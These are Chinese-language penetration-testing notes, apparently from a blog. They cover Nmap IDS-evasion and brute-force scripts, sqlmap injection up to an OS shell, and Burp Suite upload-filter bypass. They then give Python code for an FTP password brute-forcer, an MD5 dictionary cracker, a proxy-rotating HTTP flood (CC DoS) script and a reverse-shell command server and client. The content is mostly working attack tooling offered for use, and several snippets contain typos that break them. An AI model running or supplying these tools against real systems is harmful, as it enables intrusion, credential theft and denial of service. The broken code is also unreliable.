[toc]
- IDS(Intrusion Detection Systems)入侵检测系统
- NMAP逃逸方案:
- 报文分段:
nmap -f [IP]
//将TCP头分段在几个包中,使过滤器、IDS以及其他工具检测更加困难 - 指定最大传输单元(MTU,Maximum Transmission Unit):
nmap --mtu [num] [IP]
设定TCP/IP协议传输数据时最大传输单元,有效实现逃逸 - 隐蔽扫描:
nmap -D RND:[num] [IP]
“-D”启动隐蔽扫描,让目标主机认为是利用诱饵进行扫描而非本机,实现隐藏自身IP。(应对方式:路由跟踪、响应丢弃等) - 源地址欺骗:
nmap -sI [www.baidu.com:80] [IP]
伪造一个地址作为发起扫描的源地址 - 源端口欺骗:
nmap --source-port [num] [IP]
指定一个随机端口,通过该端口发送数据 - MAC地址欺骗:
nmap -sT --spoof-mac [MAC] [IP]
- 附加随机数据:
nmap --data-length [num] [IP]
参杂一些随机数据影响防火墙判断
- 报文分段:
- IP信息:
nmap --script ip-geolocation-* [IP]
- Whois:
nmap --script whois [site]
- IP反查:
nmap --script hostmap-ip2hosts [site]
- windows系统主机漏洞扫描:
nmap --script smb-check-vulns.nse -p [IP]
- web漏洞扫描:
nmap -sV --script=vulscan/vulscan.nse [IP]
Vulscan漏洞扫描高级脚本,包含CVE\OSVDB\Exploit-db\openvas多个平台指纹数据,具备离线扫描功能。(脚本地址存放于目录\nmap\scripts\下)
- FTP服务审计:
nmap --script ftp-brute --script-args userdb=user.txt,passdb=pass.txt -p 21 [IP]
通过设定的字典对FTP爆破 - Wordpress密码审计:
nmap -p80 --script http-wordpress-brute --script-args userdb=user.txt,passdb=passwd.txt [IP]
// 可通过设定线程数量提高破解速度:--script-args http-wordpress.threads=[num]
- 数据库安全审计:
nmap -p80 --script oracle-brute -p 1521 --script-args oracle-brute.sid=test --script-args userdb=username.txt,passdb=passwd.txt [IP]
(MySQL操作一致)
sqlmap -u URL --tables
- 实质:使用了ASP一类的动态脚本实现
- 存在漏洞位置加 “ * ”:
sqlmap -u URL/id/40*.html --dbs
- 产生来源:request方法,用户可从提交的参数中获取参数值
sqlmap -u "http://xxx.xxx.xxx/shownews.asp" --cookie "id=25" --tables --level 2
- 将URL分段
- 使用
--cookie
进行连接 - 设置
--level
等级2级以上
- 产生来源:(搜索框、登录框)对POST过滤不严
- 操作步骤:
- 方法一:
2. 获取表单信息进行分析:找出输入框对应参数变量
3. 使用
--data
指定注入点:sqlmap -u http://xxx/Login.asp --data "[Name]=1&[Password]=1"
- 方法二:
- 使用
--forms
sqlmap自动获取相关信息,查看输出结果Payload:
处:sqlmap -u http://domain/Login.asp --forms
- 使用
- 方法一:
2. 获取表单信息进行分析:找出输入框对应参数变量
3. 使用
- 方案一:
--delay 1
使用延迟方法逃逸 - 方案二:
--tamper "xxx.py"
执行逃逸脚本(默认脚本位置:/usr/share/sqlmap/tamper/)
- 产生来源:开发者配置问题,不限制数据库权限,注入点未添加权限限制
--os-cmd=xxx
--os-shell
- forwar
- drop:放弃当前数据
- intercept is on/off:开关
- Raw:请求地址、http协议版本、主机头、浏览器信息、cookie、网页内容等信息
- Params:GET请求、POST请求、Cookie参数
- Hex:显示Raw选项的16进制内容
- Action >> Send to Intruder
- Positions:
- Add$:选中内容设置为变量
- Clean$:重置变量
- Auto$:自动选取变量
- Refresh
- Attack type:
- Sniper:适合只有一个变量,每次填入一个参数进行审计
- Battering ram:用于两个及以上的变量,在一个字典文件中提取一个值覆盖多个变量进行审计
- Pitchfork:在两个字典文件中提取一对或一个值覆盖变量
- Cluster bomb:使用两个字典进行排列组合并进行审计
- Payloads:设置payload模式,配置字典
- start attack:观察len长度,进行筛选
- intruder 传递审计结果到 repeater :重放发送,查看响应内容
- proxy 上传数据(木马)传递到 repeater 进行数据欺骗:修改文件类型验证信息,进行重放攻击验证(当目标服务器配置了文件格式限制)
- 扩展名验证:
filename="xxx.php"
- MINI类型验证:
Content-Type:
- 文件头校验/文件完整性验证:插入真实的[图片文件]
- 扩展名验证:
- Comparer:自动高亮功能方便比较
from ftplib import FTP
def ftp_login(host,username,password)
try:
ftp=FTP()
ftp.connect(host,21)
ftp.login(username,password)
ftp.quit()
print("[+]Sucess Password:",password)
except:
pass
def ftp_try(host,username,password):
for i in open(password):
ftp_login(host,username,i.strip())
if __name__=='__main__':
ftp_try('192.168.0.1','admin','/home/password.txt')
- python提供了hashlib模块,对明文进行MD5加密
import hshlib md5 = hashlib.md5() md5.update('Python'.encode('utf-8')) print(md5.hexidigest())
- 程序思路:取出字典中的明文,使用hashlib进行加密,加密结果与密文进行对比,一致打印明文,不一致则继续循环。
- hashlib加密明文
- datatime计算程序运行时间
- sys获取输入的密文
import hashlib import datetime import sys name=sys.argv[1] starttime=datetime.datetime.now() for i in open(r'C:/123.txt'): rs=i.strip() md5=hashlib.md5() md5.update(rs.encode('utf-8')) newmd5 = md5.hexdigest() if newmd5 == name: print("解密成功!明文是:",rs) break else: pass endtime = datetime.datetime.now() print(endtime-starttime)
- 原理:多线程模拟多合法用户,确保有大量可用的代理地址
- 操作思路:
- 引入urllib、threading模块,将获取的代理地址以列表方式存储(代理地址可采取爬虫方式批量获取)
from urllib import request import threading url = "http://www.xxxx.com/" proxies=["114.xxx.xxx.xx:xxxx","xxx.xxx.xxx.xxx:xxxx","xxx.xxx.xxx:xxxx"] class cc(threading.Thread): def __init__(self,url,proxies): super(cc,self).__init__() self.url=url self.proxies=proxies self.start()
- CC函数定义
- request.ProxyHandler()函数设置代理服务器
- build_opener()函数创建自定义Opener对象
- Install_opener()函数创建opener
- 可选择使用random.choice()随机选择代理地址,可呈现不规则方式,躲避目标防火墙
# class cc(threading,Thread): def run(self): while True: try: pro_random = random.choice(self.proxies) pro_support = request.ProxyHandler({"http":pro_random}) opener = request.build_opener(pro_support) request.install_opener(opener) request.urlopen(self.url) except: pass
- 执行循环
for i in range(5000): cc(url.proxies)
- 引入urllib、threading模块,将获取的代理地址以列表方式存储(代理地址可采取爬虫方式批量获取)
- 服务端:
- 导入socket模块
- 安装并绑定套接字,允许最大连接数100,超出则拒绝
- 通过一个while循环来接受并发送用户执行的命令
- 将结果接收回来并打印
import socket s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) s.bind(('',1234)) s.listen(100) conn,addr = s.accept() while 1: command = input('......>') if command == 'exit()': conn.send(command.encode('gbk')) break else: if command == '': continue conn,send(command.encode('gbk')) result = conn.recv(1024) print(result.decode('gbk','ignore')) s.close()
- 客户端
- 使用subprocess执行获得的用户命令
import socket,subprocess as sp,sys,re conn = socket.socket(socket.AF_INET,socket.SOCK_STREAM) conn.connect(('127.0.0.1',1234)) while 1: command = conn.renv(1024) if command == 'exit()': break else: sh = sp.Popen(command.decode('gbk'),shell=True,stdout=sp.PIPE,stderr=sp.PIPE,stdin=sp.PIPE) out,err=sh.communicate() conn.send(out) conn.close()